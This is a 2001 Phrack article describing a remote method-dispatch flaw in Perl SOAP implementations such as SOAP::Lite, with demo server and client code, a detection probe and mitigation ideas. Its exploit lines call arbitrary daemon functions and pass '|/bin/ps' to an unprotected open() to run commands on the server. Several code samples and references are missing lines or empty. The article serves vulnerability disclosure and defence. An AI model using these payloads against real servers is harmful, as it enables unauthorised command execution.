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Current issue : #58 | Release date : 2001-12-28 | Editor : Phrack Staff
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Title : RPC without borders
Author : stealth
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3a, Phile #0x09 of 0x0e

|=-------------=[ RPC without borders (surfing USA ...) ]=---------------=|
|=----------------=[ stealth <stealth@segfault.net>  ]=------------------=|

--[ Introduction

  In this article I will explain weaknesses as they already exist in
today's remote object access technologies (focusing on the new 
SOAP -- Simple Object Access Protocol) or may show up in future. I will
give a small walk-around on things already available and will explain why
they are used and why it makes sense to use it. Since the topic is *that*
large, I can only give you basic ideas of how these things work in general;
but I focus on a SOAP implementation in Perl later, where I explain in
depth how things break, and will try to 'port' the ideas then. References
are given in the end so you may try to figure out remote object access
yourself -- its a damn interesting thing. :-)

--[ 1. The new RPCs

  RPC as you know it has been used in a lot of services for decades such
as in NIS or NFS. However these have never been available to multi-tier
applications and web-applications in paricular (or at least RPC wasn't
really made for it).

  Since a few years, 'RPC over XML', so called "XML-RPC" has been defined
which should enable developers (web-developers in paricular) to _easily_
use the RPC capability which has been available to system-programmers for
years. Application-developers today use CORBA (Common Object Request Broker
Architecture), which (in short) adds the ability of accessing objects
remotely with RPC. Since the blinking OO world began, developers felt they
need to access objects remotely and they are quite happy with CORBA. It
allows nice things such as

     today = TimeServer_ptr->date();

that is it looks like you are accessing a local object, but indeed it is
located on some other box. The underlying so called "Middleware" libraries
translate this call into sending data in a special format to the server
which invokes the request on an object the server registered for remote

  The reason for this is that programs have grown so much in recent years
that programmers want to have easy ways to access ressources remotely,
without the pain of platform-specifics such as byte-ordering, different
socket-semantics etc. etc.. There also exist a lot of tools and
pre-compilers which do a lot of work for the programmer already (such as
translating an interface-description into valid C++ code).

  Everything is fine except it is a _bit_ complicated and our
web-application-developers probably do not use it at all, so the need for
an easy to access and straight to implement CORBA-replacement (read
'replacement' as 'we are happy with it, but isn't there an easier way?')
seemed to be necessary. 

  XML-RPC was there already, so why not building a remote object access
facility on top of it? SOAP was born. It allows you to call methods on
objects remotely, similar to the example above.  Somewhat like OO XML-RPC.

  Unlike the 'normal' RPC where program and version-numbers were required
to specify which function should be called, XML-RPC allows you to send the
full functionname across the socket enveloped into a XML document. You
usually need to register the objects (with the corresponding methods) which
may be accessed from the outside; at least when I wrote a distributed
banking-application in C++ using CORBA, it worked that way ;-). This is
also true for SOAP technology, as I will explain a few lines later,
(indeed, I do not care much about SOAP specification, but on the specific
implemenatations) but this time we may send function and object-names as
strings and we will see registering objects does not make the whole thing
secure as it is expected to be.

--[ 2. why Perl

  I will focus on Perl implementations of SOAP because Perl has the special
capability to call functions indirectly:

#!/usr/bin/perl -w

use POSIX;

        print "AUTOLOAD: called $AUTOLOAD(@_)\n";

sub func1
        print "called func1(@_)\n";

$name = "POSIX::system";


  Isn't that nice, we can specify at runtime which function is called via
$name, POSIX::system in this case. Every unknown function you try to invoke
i.e. POSIX::nonexisiting will trigger the AUTOLOAD subroutine which is a
special gift from Perl. That way, you may load unloaded stuff at runtime
when you notice that a function-call does not 'resolve'. Things are even
better, because indirect function-calls also work fine with tainted data!

#!/usr/bin/perl -w -T

use POSIX;


	print "AUTOLOAD: called $AUTOLOAD(@_)\n";

sub func1
	print "called func1(@_)\n";

for (;;) {
	print "Enter function-name: ";
	$name = <STDIN>; chop $name;
	print "Enter argument: ";
	$arg = <STDIN>; chop $arg;

Giving "func1" and "that" as input will call


even when in tainted mode. Though, it breaks with "POSIX::system" and
"/bin/sh" because tainted data would be passed to CORE::system() function
at the end which is forbidden. AUTOLOADing also works with tainted data.

Let's just write that to our Notitzblock:

  'Perl allows functions to be called indirectly, no matter
   whether it is in tainted mode or not and the name/argument
   of that function is retrieved from outside or not.'

--[ 3. How things work

  Lets now start right away with a Demo-program that uses SOAP::Lite
[soaplite] to show what XML-RPC means:

#!/usr/bin/perl -w

use SOAP::Transport::HTTP;

$daemon = SOAP::Transport::HTTP::Daemon
    -> new (LocalPort => 8081)
    -> dispatch_to('Demo');

print "Contact to SOAP server at ", $daemon->url, "\n";

sub authenticated
        return "Hi @_, you are authenticated now!";

package Demo;

sub callme
        return "called callme";

  Ok. That was basicly taken from a How-to-use-SOAP guide from [soaplite].
What you do here is starting a small HTTP-server which listens on port 8081
and delegates the XML-RPC's to the package 'Demo'. That way, clients may
call the callme() function remotely. HTTP is used here, but SOAP works
protocol-independant, so you may use SMTP or whatever here - there are lots
of modules shipped with SOAP::Lite. Calling a function basicly works by
POSTing a XML-document to this server now. Here is a small client calling
the offered function "callme()":

#!/usr/bin/perl -w

use SOAP::Lite;

my $soap = new SOAP::Lite;

# when using HTTP::Daemon, build client like this
if (1) {
} else {
	# if SOAP server is CGI, call like this

print $soap->callme()->result();

  proxy() allows you to specify which server to contact for the
remote-service. It's not an HTTP-proxy as you know them from usual web
stuff. uri() is used to distinguish between the classes the server offers
(coz he may offer more than one). You can see it later in the HTTP-header
sent to the server in the SOAPAction field. As you see, CGI scripts may be
used to offer the service, but thats slower than HTTP::Daemon, so we do not
discuss it here further (it's the same exploiting technique anyways...).

And thats it! Isnt that nice? RPC can't be easier. The


is translated by SOAP::Lite's AUTOLOADer into a
$soap->call("callme"); functioncall which produces the
following XML-document then sent to remote port 8081:
(HTTP-header stripped, output formatted)

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:
        <namesp1:callme xmlns:namesp1=""/>

  Just to show you that the functionname is passed to remote-side as
string. Got an idea now where we will go today? :-) To make things complete
here's the result:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:
        <namesp7:callmeResponse xmlns:namesp7="">
            <s-gensym35 xsi:type="xsd:string">
                called callme

  Sucess. I am not going to explain that, as it's first not further of
interest and second the bookstore where I ordered a book on SOAP did not
send me the book yet.

--[ 4. How things break

  Why not trying to call other functions which do not belong to the
package? I guess main::authenticated() would be a nice target.

#!/usr/bin/perl -w

use SOAP::Lite;

my $soap = new SOAP::Lite;

# when using HTTP::Daemon, build client like so
if (1) {
} else {
        # if SOAP server is CGI, call like so

print $soap->call("X:main::authenticated" => "me")->result();

(Do not ask for code-dup! :-)

Running against the server seen above:

stealth@linux:SOAP> ./c.pl
Hi Demo me, you are authenticated now!stealth@linux:SOAP>

  Wow! "Demo" and "me" are both arguments to authenticated().
Thats because of how SOAPLite works:


  The three dots before the method-call parse the XML-document, retrieving
class-name method-uri and method-name from it. Actually,


is executed by means of our client-request. That yields 'Demo' in @_. That's
aready the most problematic part of SOAP-implemenatations in Perl. It
allows you to call any function on (in case of SOAP::Lite) any package.

  We used main:: in this example but it might be POSIX::system() too. There
are other SOAP modules than SOAP::Lite which we could use here, but they also
suffer on the same problem. Even when you are not able to specify the
class-name, that is the SOAP implementation has

sub handler
        # Dave Developer: we are safe, restricting
        # access to Calculator package

you are able to 'breakout' of the package Calculator by giving the full
package-name to $method (main::authenticated in above case). It is
something like *package reverse traversal*. That's the whole point. Again,
this will work in tainted mode too! A note on SOAP-namespaces: You have
probably seen that we sent indeed 'X:main::authenticated' (prepended 'X:').
Do not ask why, but there is a prefix needed in SOAP::Lite case, otherwise
the remote XML-Parser will complain. On the other hand another SOAP module
required to have i.e. POSIX as namespace and system as method which
assembled to POSIX::system on the other end. The XML-document generated by
that module produced somehow wrong package::method invokations, so I had to
handle that with raw port 80/HTTP requests by myself. Seems that either I
got namespace-handling wrong or the module parsing was broken. (Probably
first case, I said the book did not arrived yet, no? :-)

  Hm. I just remember perl has some nice tricks which are possible via
open(). Let's see whether we can find some. My requires-script shows me that
SOAP::Transport::HTTP requires HTTP::Daemon (via 'new' call that is invoked
by the server, so it's available at runtime). Let's just look at HTTP::Daemon

package HTTP::Daemon::ClientConn;
sub send_file
    my($self, $file) = @_;
    my $opened = 0;
    if (!ref($file)) {
        open(F, $file) || return undef;

  Ayeee! An unprotected open() call. To the client we wrote above, add

$soap->call("X:HTTP::Daemon::ClientConn::send_file" => "|/bin/ps");

which will call Demo->HTTP::Daemon::ClientConn::send_file("|/bin/ps");
which is HTTP::Daemon::ClientConn::send_file(Demo, "|/bin/ps"); where only
the second argument is of interest ($file for the open-call :-).

  OK. I think now you have got an idea of what's going on here, even when
the open() call would not be there, it's still dangerous enough as we may
call *any*, let me repeat, *any* function in the Perl-daemon that is
availabe at runtime (either in main-package or a package that is 'use'ed
or 'require'd, except CORE which is not accessible).

--[ 5. Tritt ein, bring Glueck herein. 

  It might be of interest to detect whether on a given port a SOAP-Lite
server is running. Nothing easier than this:

stealth@linux:SOAP> telnet 32887
Connected to
Escape character is '^]'.
POST /x.pl / HTTP 1.1
<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope
xsi:type="xsd:string">Application failed during request deserialization:
no element found at line 1, column 0, byte -1 at
/usr/lib/perl5/site_perl/5.6.1/i586-linux/XML/Parser.pm line 185
closed by foreign host.

  As you see, SOAP-Lite is very verbose in its error-messages. Important
line is


which tells us that Perl is used, and that's it.

  The classnames are usually described elsewhere to give programmers of the
clients all necessary information. Very often the site that runs the SOAP
service describes on their website how its interferred with. However, if
SOAP becomes widespread one day its probably needed to find better scanning

--[ 6. No trespassing

  It is very interesting that people think security is when they use HTTPS
instead of HTTP. I have seen 'secure' SOAP servers which just used HTTPS
as underlying protocol and were declared as 'secure servers'.

  So, how to protect? Difficult. The -T switch to force tainted mode works
against direct shell-escapes but being able to call any internal daemon
function is bad enough. Maybe the package-qualifiers "::" should be
stripped. If you allow them it's like allowing ".." in pathnames which leads
to reverse traversal (there are better ways to protect against reverse
traversal than stripping "..", though) in some cases. Tainting the
functionname that comes via the socket will disallow _any_ RPC.

  A way might be to put all allowed classes and function-names into a hash
and look whether the received string is contained there. Frontier XML-RPC
module for Perl does it that way, it has a hash of methods it allows like

my %funcs = ('callme' => \&sub1);

where you may only call 'callme' function. You can try to call other
functions until your face turns into green, you won't suceed.

  To be fair, I must admit that the SOAP specification [SOAP] explicitely
says it does not cover security-releated stuff. Some companies published
papers on SOAP security right when I was exploiting my test-servers.
Though, they are almost all releated to encryption and signing topics, just
a few cover access-control such as [big-blue].

  This is not just a Perl issue AFAIK, because other languages also allow
indirect calling of functions, such as JAVA or PHP. :-) I did not look at
JAVA or CORBA for Perl but I would not be surprised if similar problems
exist there too.

--[ 7. References

[soaplite] The SOAP::Lite implementation for Perl
I tested SOAP::Lite 0.51 and SOAP 0.28 for Perl.

[] A list of some sites who offer XML-RPC service, just to
show you it is used at all:

[] Mailinglists, links, docu etc. on SOAP:

[SOAP] SOAP 1.1 specification

[big-blue] SOAP security whitepaper

|=[ EOF ]=---------------------------------------------------------------=|

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